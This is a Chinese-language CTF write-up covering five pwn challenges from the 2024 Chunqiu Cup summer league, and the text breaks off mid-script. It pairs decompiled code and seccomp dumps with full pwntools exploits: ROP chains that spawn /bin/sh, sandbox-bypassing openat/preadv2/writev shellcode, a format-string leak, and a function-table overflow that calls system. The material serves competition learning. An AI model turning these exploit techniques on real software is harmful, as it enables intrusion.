2024年暑期學習 (1)

ve1kcon發表於2024-07-21

2024年 “春秋杯” 網路安全聯賽夏季賽

0x00 CTF

stdout

程式保護如下

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

這題的難點在於 setvbuf(stdout, 0LL, 0, 0LL) 操作會開啟 stdout 緩衝區的全緩衝,導致程式在結束時才會重新整理緩衝區並輸出資料,因此在程式執行過程中不會有任何輸出,包括執行 ROP 鏈洩露的 libc 資訊

setvbuf() 函式的原型如下

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
  • stream 是指向 FILE 物件的指標,該 FILE 物件標識了一個開啟的流

  • buffer 是分配給使用者的緩衝,如果設定為 NULL,該函式會自動分配一個指定大小的緩衝

  • mode 指定了檔案緩衝的模式

  • size 是緩衝的大小,以位元組為單位

該函式的三參有三種模式:

  • 全緩衝:0,緩衝區滿呼叫fflush() 後輸出緩衝區內容

  • 行緩衝:1,緩衝區滿遇到換行符呼叫fflush() 後輸出緩衝區內容

  • 無緩衝:2,直接輸出

瞭解了這些,後面的思路無非是透過填滿緩衝區呼叫fflush()來輸出緩衝區內容。但要呼叫 fflush() 函式顯然需要 libc 基地址,但哪怕能夠執行到 ROP 鏈洩出地址,也不會直接將資料輸出,那麼方法只剩下透過填滿緩衝區的方式將資料帶出來了

int init()
{
  setvbuf(stdout, 0LL, 0, 0LL);
  return setvbuf(stdin, 0LL, 2, 0LL);
}

main() 函式中存在 0x10 大小棧溢位

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+0h] [rbp-50h] BYREF

  init();
  puts("where is my stdout???");
  read(0, buf, 0x60uLL);
  return 0;
}

vuln() 函式處有更大的溢位,extend() 函式的功能表面上是擴充套件 GOT 表,但實際上另有用途,這裡會輸出不少字串

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x200uLL);
}

__int64 extend()
{
  __int64 result; // rax
  char s[8]; // [rsp+0h] [rbp-30h] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  int v5; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  puts("Just to increase the number of got tables");
  *(_QWORD *)s = 0x216F6C6C6568LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  v6 = strlen(s);
  if ( strcmp(s, "hello!") )
    exit(0);
  puts("hello!");
  srand(1u);
  v5 = 0;
  result = (unsigned int)(rand() % 16);
  v5 = result;
  return result;
}

最終思路是 ROP 控制程式輸出來填滿輸出緩衝區,帶出地址後 ret2libc,exp 如下

剛開始沒注意到有 extend() 函式,所以在迴圈傳送洩 xxx_got 的 ROP 鏈,這樣下來每次輸出的位元組都不多,所以要需要很多次迴圈,但是遠端連線並不穩定,經常地址還沒洩出來就斷開連線了,被本地通遠端不通折磨了挺久的,最後想到可以用 extend() 函式來加速填滿輸出緩衝區

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.134.120', 37382]
pwnfile = './pwn'

elf = ELF(pwnfile)
libcfile = './libc-2.31.so'
libc = ELF(libcfile)

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *0x40125D')
    payload1 = 'a'*(0x50+0x8)
    payload1 += p64(0x40125D)
    p.send(payload1)

    vuln = 0x40125D
    pop_rdi_ret = 0x4013d3
    read_got = elf.got['read']
    puts_plt = 0x4010B0
    ret = 0x40136E
    ext = 0x401287

    for i in range(2):
        log.info('count: ' + hex(i))
        payload2 = 'a'*(0x20+0x8) 
        # payload2 += p64(ret)
        payload2 += p64(ext)*55
        payload2 += p64(pop_rdi_ret)
        payload2 += p64(read_got)
        payload2 += p64(puts_plt)
        payload2 += p64(vuln)
        # sleep(0.05)
        p.send(payload2)

    read_addr = recv64_addr()
    # loginfo("read_addr: ", read_addr)
    libc_base = read_addr - libc.symbols['read']
    loginfo("libc_base: ", libc_base)

    # debug('b *0x40136E')
    pop_rsi_ret = libc_base + 0x2601f
    pop_rdx_ret = libc_base + 0x142c92
    pop_rax_ret = libc_base + 0x36174
    syscall = libc_base + 0x2284d
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
    payload = 'a'*(0x20+0x8) 
    payload += p64(ret)*2
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_ret)
    payload += p64(0)
    payload += p64(pop_rdi_ret)
    payload += p64(binsh_addr)
    # payload += p64(system_addr)
    payload += p64(pop_rax_ret)
    payload += p64(59)
    payload += p64(syscall)
    p.send(payload)

exp()
p.interactive()

Shuffled_Execution

mmap 了一段具有 rwx 許可權的段,用於執行往這裡寫入的 shellcode,沙箱禁用如下,最後選擇使用 openat, preadv2, writev 進行 orw flag

ve1kcon@wsl:~/work/CTF/2024_7/cqb2024_x/Shuffled_Execution$ seccomp-tools dump ./pwn
The only chance to pass the entrance.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 0015
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 0015
 0005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 0015
 0006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 0015
 0007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0015
 0008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 0015
 0009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0015
 0010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0015
 0011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0015
 0012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0015
 0013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0015
 0014: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0015: 0x06 0x00 0x00 0x00000000  return KILL

使用者輸入後會在 shuffle() 函式中對輸入進行變換,但是操作長度 sc_lenv3 = strlen(s) 傳入,所以可以使用 "\x00" 來繞過

unsigned __int64 __fastcall shuffle(__int64 sc, unsigned __int64 sc_len)
{
  char tmp; // [rsp+1Bh] [rbp-15h]
  int i; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 ran; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  srand(0x1337u);
  if ( sc_len > 1 )
  {
    for ( i = 0; i < sc_len >> 1; ++i )
    {
      ran = rand() % sc_len;
      tmp = *(_BYTE *)(i + sc);
      *(_BYTE *)(i + sc) = *(_BYTE *)(sc + ran);// 迴圈對前一半字元(使用shellcode裡的隨機一個字元)進行逐一隨機變換
      *(_BYTE *)(ran + sc) = tmp;
    }
  }
  return v6 - __readfsqword(0x28u);
}

還有一點是在執行 shellcode 前對大部分暫存器的值都清零了,所以需要先對 rsp 進行重新賦值才能使用到出棧入棧的操作

.text:00000000000014F0                 mov     rbx, 0
.text:00000000000014F7                 mov     rcx, 0
.text:00000000000014FE                 mov     rdx, 0
.text:0000000000001505                 mov     rdi, 0
.text:000000000000150C                 mov     rsi, 0
.text:0000000000001513                 mov     r8, 0
.text:000000000000151A                 mov     r9, 0
.text:0000000000001521                 mov     r10, 0
.text:0000000000001528                 mov     r11, 0
.text:000000000000152F                 mov     r12, 0
.text:0000000000001536                 mov     r13, 0
.text:000000000000153D                 mov     r14, 0
.text:0000000000001544                 mov     r15, 0
.text:000000000000154B                 mov     rbp, 0
.text:0000000000001552                 mov     rsp, 0
.text:0000000000001559                 mov     rax, 1337000h
.text:0000000000001560                 jmp     rax

exp 如下,要用 preadv2writev 的話,主要是要注意 iovec 這個結構體,註釋裡使用到的雙花括號只是轉義,否則會被解釋成變數佔位符

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.132.12', 44463]
pwnfile = './pwn'

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    '''
    fname = '/home/ve1kcon/flag'
    mov rax,0x{fname0}; push rax;
    mov rax,0x{fname1}; push rax;
    mov rax,0x{fname2}; push rax;
    fname0 = fname[16:][::-1].encode('hex')
    fname1 = fname[8:16][::-1].encode('hex')
    fname2 = fname[:8][::-1].encode('hex')
    '''

    fname = '/flag'
    # pay = 'nop;'*0x20
    pay = """
    mov rsp, 0x1337500;
    
    /* openat(0, *file_name, 0) */
    mov rax,0x{fname0}; push rax;
    push rsp;           pop rsi;
    mov rdi, 0;
    mov rdx, 0;
    mov rax, 257;       syscall;

    /* vec -> const struct iovec {{ void *buf; size_t count }}; */
    push 0x100;         push 0x1337600;
    push rsp;           pop r15;
    
    /* preadv2(3, *vec, 1) */
    mov rdi, 3;
    mov rsi, r15;
    mov rdx, 1;
    mov rax, 327;       syscall;

    /* writev(1, *vec, 1) */
    mov rdi, 1;
    mov rax, 20;        syscall;
    """.format(
        fname0=fname[:8][::-1].encode('hex')
    )
    # debug('b *$rebase(0x16CB)')
    # debug('''b *$rebase(0x1559)
    # c
    # b *0x133702d''')
    p.sendlineafter('entrance.\n', '\x00'*2 + asm(pay))

exp()
p.interactive()

SavethePrincess

程式保護如下,保護開滿

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'

init() 函式處初始化了 key,而且隨機數不可預測

unsigned __int64 init()
{
  unsigned int buf; // [rsp+Ch] [rbp-14h] BYREF
  int i; // [rsp+10h] [rbp-10h]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  buf = 0;
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    perror("open");
    exit(0);
  }
  read(fd, &buf, 4uLL);
  srand(buf);
  buf = 0;
  close(fd);
  for ( i = 0; i <= 7; ++i )
    key[i] = rand() % 26 + 97;                  // key unpredictable
  return v4 - __readfsqword(0x28u);
}

magic() 函式中將 buf 填滿即可在輸出字串時將 for 迴圈的次數 i 帶出,可以用這一個位元組資料來判斷前 i+1 個字元是否匹配,所以可以利用這個地方逐位元組爆破隨機數 dest,然後利用後面的格式化字串漏洞洩露 libc 地址,canary 和 stack 地址

__int64 magic()
{
  char dest[8]; // [rsp+5h] [rbp-1Bh] BYREF
  char buf[10]; // [rsp+Dh] [rbp-13h] BYREF
  char i; // [rsp+17h] [rbp-9h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  strcpy(dest, love);
  if ( fmt == 1 )
    printf("You have gained your power, now go and defeat the dragon and save the SWDD princess");
  puts("please input your password: ");
  read(0, buf, 0xAuLL);
  for ( i = 0; i <= 7; ++i )
  {
    if ( buf[i] != dest[i] )
    {
      printf("you password is %s\n,nononno!!!\n", buf);
      return 0LL;
    }
  }
  puts("successfully, Embrace the power!!!");
  fmt = 1;
  read(0, dest, 0x14uLL);
  printf(dest);
  return 0LL;
}

challenge() 函式處會開啟沙箱,還有個棧溢位可以利用

__int64 Challenge()
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Attack the dragon!!");
  read(0, buf, 0x200uLL);
  puts("The dragon attacks you before it dies");
  sandbox();
  puts("Did you succeed?");
  return 0LL;
}

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0013
 0007: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 0013
 0008: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 0013
 0009: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0013
 0010: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

exp 如下

# coding=utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

libcfile = './libc.so.6'
libc = ELF(libcfile)

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('> \n', str(index))

def magic(content='a'):
    menu(1)
    p.sendafter('password: \n', content)

def exp():
    key = ''
    realkey = ''
    testkey = 'a'
    for i in range(8):                  # 8-letter
        for j in range(26):             # a-z
            key = key.ljust(10, 'a')
            magic(key)

            # loginfo('[!]'*10)
            # p.recvuntil('you password is '+key, timeout=0.5)
            data = p.recvuntil('you password is '+key, timeout=0.5)
            loginfo(data)
            if not data.startswith("you"):              # the correct key has been obtained at this time
                break
            tmp = p.recv(1)
            
            print('round:'+str(i)+'; count:'+str(j)+'; times:'+tmp)
            if tmp != struct.pack('B', i + 1):          # integer -> single byte of binary data, if times ≠ round+1, lose
                testkey = chr(ord("b")+j)               # char1 -> ascii -> char2
                key = realkey + testkey                 # reset key
                continue                                # jump out of the current j loop
            loginfo('realkey++!')
            realkey += testkey
            print('real key now: '+realkey)
            break                                       # jump out of the current i loop

    # realkey = key[:-2]
    # loginfo(realkey)
    # p.sendlineafter('successfully, Embrace the power!!!\n', 'a')
    # menu(1)
    # p.sendafter('password: \n', realkey)

    # debug('''b *$rebase(0x166A)
    # c
    # b *$rebase(0x16C5)''')
    # debug('b *$rebase(0x170C)')

    payload = '%9$p%15$p%10$p+'
    p.sendlineafter('successfully, Embrace the power!!!\n', payload)
    p.recvuntil('0x')
    canary = int(p.recvuntil('0x')[:-2],16)
    loginfo('canary: ', canary)
    libc_base = int(p.recvuntil('0x')[:-2],16) - 0x29d90
    loginfo('libc_base: ', libc_base)
    stack_addr = int(p.recvuntil("+")[:-1],16)
    input_addr = stack_addr - 0x60                     # 0x7fff72ec2810->0x7fff72ec27b0 is -0x60 bytes (-0xc words) 
    loginfo('stack_addr: ', stack_addr)

    # ----- openat preadv2 writev -----
    pop_rdi_ret = libc_base + 0x2a3e5
    pop_rsi_ret = libc_base + 0x2be51
    pop_rdx_r12_ret = libc_base + 0x11f2e7
    pop_rcx_ret = libc_base + 0x3d1ee
    # r10 = libc_base + 0x115af4                          # mov r10, rcx ; mov eax, 0x104 ; syscall # syscal does not modify the value of r10 after execution
    pop_rax_ret = libc_base + 0x45eb0
    syscall = libc_base + 0x29db4
    openat_addr = libc_base + libc.symbols['openat']
    preadv2_addr = libc_base + libc.symbols['preadv2']
    writev_addr = libc_base + libc.symbols['writev']
    # loginfo('preadv2_addr: ', preadv2_addr)
    loginfo('pop_rdi_ret: ', pop_rdi_ret)
    # loginfo('writev_addr: ', writev_addr)

    flag = '/flag'.ljust(8, '\x00')

    openat = ''
    # openat = p64(pop_rcx_ret) + p64(0)
    # openat += p64(r10)
    openat += p64(pop_rdi_ret) + p64(0)
    openat += p64(pop_rsi_ret) + p64(input_addr+0x160)
    openat += p64(pop_rdx_r12_ret) + p64(0)*2
    openat += p64(openat_addr)
    # openat += p64(pop_rax_ret) + p64(257) + p64(syscall)


    preadv2 = p64(pop_rdi_ret) + p64(3)
    preadv2 += p64(pop_rsi_ret) + p64(input_addr+0x150)
    preadv2 += p64(pop_rdx_r12_ret) + p64(1)*2
    preadv2 += p64(pop_rcx_ret) + p64(0)
    preadv2 += p64(preadv2_addr)
    # preadv2 += p64(pop_rax_ret) + p64(327) + p64(syscall)

    writev = p64(pop_rdi_ret) + p64(1)
    writev += p64(writev_addr)
    # writev += p64(pop_rax_ret) + p64(20) + p64(syscall)

    payload = 'a'*(0x40-0x8) + p64(canary) + p64(0)
    payload += openat + preadv2 + writev
    payload = payload.ljust(0x150, 'a')
    payload += p64(input_addr+0x300) + p64(0x100)
    payload += flag

    menu(2)
    p.sendlineafter('Attack the dragon!!\n', payload)

exp()
p.interactive()

libc 庫裡的 preadv2() 函式

__int64 preadv64v2()
{
  __int64 result; // rax
  unsigned int v1; // er14

  if ( __readfsdword(0x18u) )
  {
    v1 = sub_909F0();
    __asm { syscall; LINUX - }
    sub_90A60(v1);
    result = 327LL;
  }
  else
  {
    result = 327LL;
    __asm { syscall; LINUX - }
  }
  return result;
}

0x01 AWDP

sspiiiiiil

這個題剛開始沒怎麼逆明白,但其實邏輯也沒那麼複雜。首先要留意使用者輸入時將資料往棧上哪處寫了,然後關注程式會取這片記憶體的資料進行什麼操作,最後有一個維護了函式表的陣列

程式保護如下,保護開滿

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程式主要邏輯如下,有四個功能

// bad sp value at call has been detected, the output may be wrong!
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+0h] [rbp-4834h] BYREF
  char s[2096]; // [rsp+4h] [rbp-4830h] BYREF
  char v5; // [rsp+834h] [rbp-4000h] BYREF
  __int64 v6[512]; // [rsp+3834h] [rbp-1000h] BYREF

  while ( v6 != (__int64 *)&v5 )
    ;
  v6[511] = __readfsqword(0x28u);
  init_0();
  memset(s, 0, 0x4828uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("Give me your choice: ");
      __isoc99_scanf("%d", &v3);
      if ( v3 != 4 )
        break;
      bye();
    }
    if ( v3 <= 4 )
    {
      switch ( v3 )
      {
        case 3:
          exc(s);
          break;
        case 1:
          sandbox();
          break;
        case 2:
          evil_read(s);
          break;
      }
    }
  }
}

功能 1 只是開啟一個沙箱,沒有其他服務,正經人誰會去呼叫它自找麻煩(x

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

功能 2 可以往棧上寫入 0x400 位元組資料,函式呼叫的傳參是一個棧指標,所以是寫入到 *(&s+0x808) 的位置,s 是在 main() 函式里定義的區域性變數

ssize_t __fastcall evil_read(__int64 a1)
{
  puts("see you");
  return read(0, (void *)(a1 + 0x808), 0x400uLL);
}

功能 3 裡最核心的程式碼是 (functions[v3])(s),這裡面可以根據使用者輸入執行到對應的函式,分析如下

functions 是一個函式表,v1 = *(&s + 0x2808) 是儲存了一個計數值的地方,初值為 0,透過靜態分析可以發現每次對函式表進行呼叫時,這個值都會增大;v3 由使用者輸入決定,因為 *(s+0x808+8*v1) 指向的就是功能 2 的輸入點,但是會判斷 v3 > 0xB

int __fastcall exc(__int64 s)
{
  __int64 v1; // rax
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  while ( 1 )
  {
    v1 = *(_QWORD *)(s + 0x2808);
    *(_QWORD *)(s + 0x2808) = v1 + 1;           // count from 0
    v3 = *(_QWORD *)(s + 8 * (v1 + 0x100) + 8); // *(s+0x808+8*v1)
    if ( v3 > 0xB )
      break;
    ((void (__fastcall *)(__int64))functions[v3])(s);
  }
  return printf("Unknown instruction %zu\n", v3);
}

.data:0000000000004020 functions       dq offset exit_addr     ; DATA XREF: funA+54↑o
.data:0000000000004020                                         ; funA+5B↑r ...
.data:0000000000004028                 dq offset fun1
.data:0000000000004030                 dq offset fun2
.data:0000000000004038                 dq offset fun3
.data:0000000000004040                 dq offset fun4
.data:0000000000004048                 dq offset fun5
.data:0000000000004050                 dq offset fun6
.data:0000000000004058                 dq offset fun7
.data:0000000000004060                 dq offset fun8
.data:0000000000004068                 dq offset fun9
.data:0000000000004070                 dq offset funA
.data:0000000000004078                 dq offset funB
.data:0000000000004080                 dq offset funC

偏移為 0xA 的函式里最後執行了類似 exc() 裡的函式呼叫,但是沒有對函式表偏移進行判斷

__int64 __fastcall funA(__int64 a1)
{
  __int64 v1; // rax
  __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = *(_QWORD *)(a1 + 0x2808) + 1LL;
  v1 = *(_QWORD *)(a1 + 0x2808);
  *(_QWORD *)(a1 + 0x2808) = v1 + 1;
  ((void (__fastcall *)(__int64))functions[*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8)])(a1);
  return sub_1386(a1, v3);
}

可以在 funcA() 函式里呼叫到偏移為 0xC 的函式,這裡有個 system() 函式的呼叫,引數可控,但是想要執行到 system(/bin/sh) 就需要控好傳入的引數,這就需要分析清楚程式邏輯後才能知道怎麼去佈置棧資料,計算過程詳見下列註釋

int __fastcall funC(__int64 a1)
{
  __int64 v1; // rax

  v1 = *(_QWORD *)(a1 + 0x2808);
  *(_QWORD *)(a1 + 0x2808) = v1 + 1;
  return system((const char *)(8 * (*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8) + 0x502LL) + a1));
  // Argument passing can be simplified as: 8*(*(a1+0x808+8*v1)+0x502))+a1
  // How to arrange stack data: &a1+0x820 -> '/bin/sh'
  // At this time the count of v1 is equal to 2, because this is the third time to make function call
  // *(&a1 + 0x818) + 0x502 = 0x820/8
  // *(&a1 + 0x818) = -1022 = FFFF FFFF FFFF FC02
}

exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    p.sendlineafter('choice:', '2')
    payload = p64(0xA) + p64(0xC)
    payload += p64(0xFFFFFFFFFFFFFC02) + '/bin/sh\x00'
    p.sendlineafter('see you\n', payload)
    # debug('brva 0x1D77')
    p.sendlineafter('choice:', '3')

exp()
p.interactive()

Fix 就是把 funA() 函式里的計算偏移的方式改一下,使得平臺 check 指令碼里原本的棧佈局不能梭通,但是又不影響函式表其他函式的功能。可以將框著的 8 改成其他數,比如說 16

image-20240718123009759

simpleSys

程式保護如下,無 canary

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

選項 3 是一個填寫簡歷的功能,但需要 root 賬戶才能使用,evil_read((__int64)s, v3) 存在整數溢位從而導致棧溢位 + off_by_null,然後還可以填充資料直到棧上儲存了地址的地方,在執行到 printf("confirm your bio: %s [y/n]", s) 時帶出地址資訊,洩出地址後選擇 n 繼續迴圈

unsigned __int64 __fastcall evil_read(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 result; // rax
  unsigned __int8 buf; // [rsp+1Bh] [rbp-5h] BYREF
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( a2 <= i )
      break;
    if ( read(0, &buf, 1uLL) != 1 )
    {
      result = i + a1;
      *(_BYTE *)result = 0;
      return result;
    }
    result = buf;
    if ( buf == 10 )
      return result;
    *(_BYTE *)(a1 + i) = buf;
  }
  return result;
}

int vuln()
{
  int result; // eax
  char s[91]; // [rsp+0h] [rbp-60h] BYREF
  unsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREF
  int v3; // [rsp+5Ch] [rbp-4h]

  if ( !check_login )
    return puts("login first");
  if ( !check_root )
    return puts("only root");
  while ( 1 )
  {
    printf("input length: ");
    v3 = get_num();
    if ( v3 > 80 )
      break;
    evil_read((__int64)s, v3);
    printf("confirm your bio: %s [y/n]", s);
    __isoc99_scanf("%c", &v2);
    getchar();
    result = v2;
    if ( v2 == 'y' )
      return result;
    v3 = 0;
    memset(s, 0, 0x50uLL);
  }
  return puts("too long");
}

選項 2 是一個使用者登入的功能,漏洞點在匹配到使用者名稱為 root 後進入到的那個分支,base64() 函式會將使用者輸入的密碼經過 base64 編碼後儲存在 mypasswd_b

int login()
{
  unsigned int v0; // eax
  size_t v1; // rax
  int result; // eax
  size_t v3; // rax
  size_t v4; // rax
  char mypasswd[48]; // [rsp+0h] [rbp-60h] BYREF
  char myname[48]; // [rsp+30h] [rbp-30h] BYREF

  memset(myname, 0, 0x25uLL);
  memset(mypasswd, 0, 0x25uLL);
  printf("username: ");
  evil_read((__int64)myname, 0x24uLL);
  printf("password: ");
  evil_read((__int64)mypasswd, 0x24uLL);
  if ( !strncmp(myname, "root", 4uLL) )
  {
    v0 = strlen(mypasswd);
    base64(mypasswd, v0, &mypasswd_b);
    v1 = strlen(root_passwd);
    if ( !strncmp(&mypasswd_b, root_passwd, v1) )
    {
      result = printf("%s login successfully\n", myname);
      check_root = 1;
      check_login = 1;
      return result;
    }
  }
  else
  {
    v3 = strlen(name);
    if ( !strncmp(myname, name, v3) )
    {
      v4 = strlen(passwd);
      if ( !strncmp(mypasswd, passwd, v4) )
      {
        result = printf("%s login successfully\n", myname);
        check_login = 1;
        return result;
      }
    }
  }
  return puts("fail to login");
}

輸入 36 個 'a' 進行編碼後長度為 0x30,儲存到 mypasswd_b 時因為存在 off-by-null 會將緊挨著的 root_passwd 低位覆蓋為 '\x00',使得判斷長度 v1 = strlen(root_passwd) 的值為 0 繞過判斷,從而能夠登入 root 賬戶

.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b      dq 0FFFFFFFFFFFFFFFFh   ; DATA XREF: login+B7↑o
.data:0000000000004020                                         ; login+E4↑o
.data:0000000000004028                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048                 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd     db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050                                         ; DATA XREF: login+C8↑o
.data:0000000000004050                                         ; login+DA↑o

其實可以發現 root_passwd 是以硬編碼的形式儲存,可以 base64 解碼得到明文 this is password,但還是登入失敗,經過除錯發現了奇怪的地方,strncmp() 函式的三參是 0x19,照例來說編碼的長度是 0x18

image-20240718233316386

v1 = strlen(root_passwd) 判斷的是 root_passwd 的長度,因為後面其緊跟著 '\x01' 位元組,所以導致檢測長度增加,然後它也不是一串合法的經 base64 編碼能得到字串,所以只能按上述方法繞過

image-20240718233455716

image-20240718233703896

思路明確了,繞過登入 root 賬戶後,洩棧上殘留的 libc 指標,利用棧溢位打 ROP,exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

elf = ELF(pwnfile)
libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('Enter your choice: ', str(index))

def signup(username, passwd):
    menu(1)
    p.sendlineafter('username: ', username)
    p.sendlineafter('password: ', passwd)

def login(username, passwd):
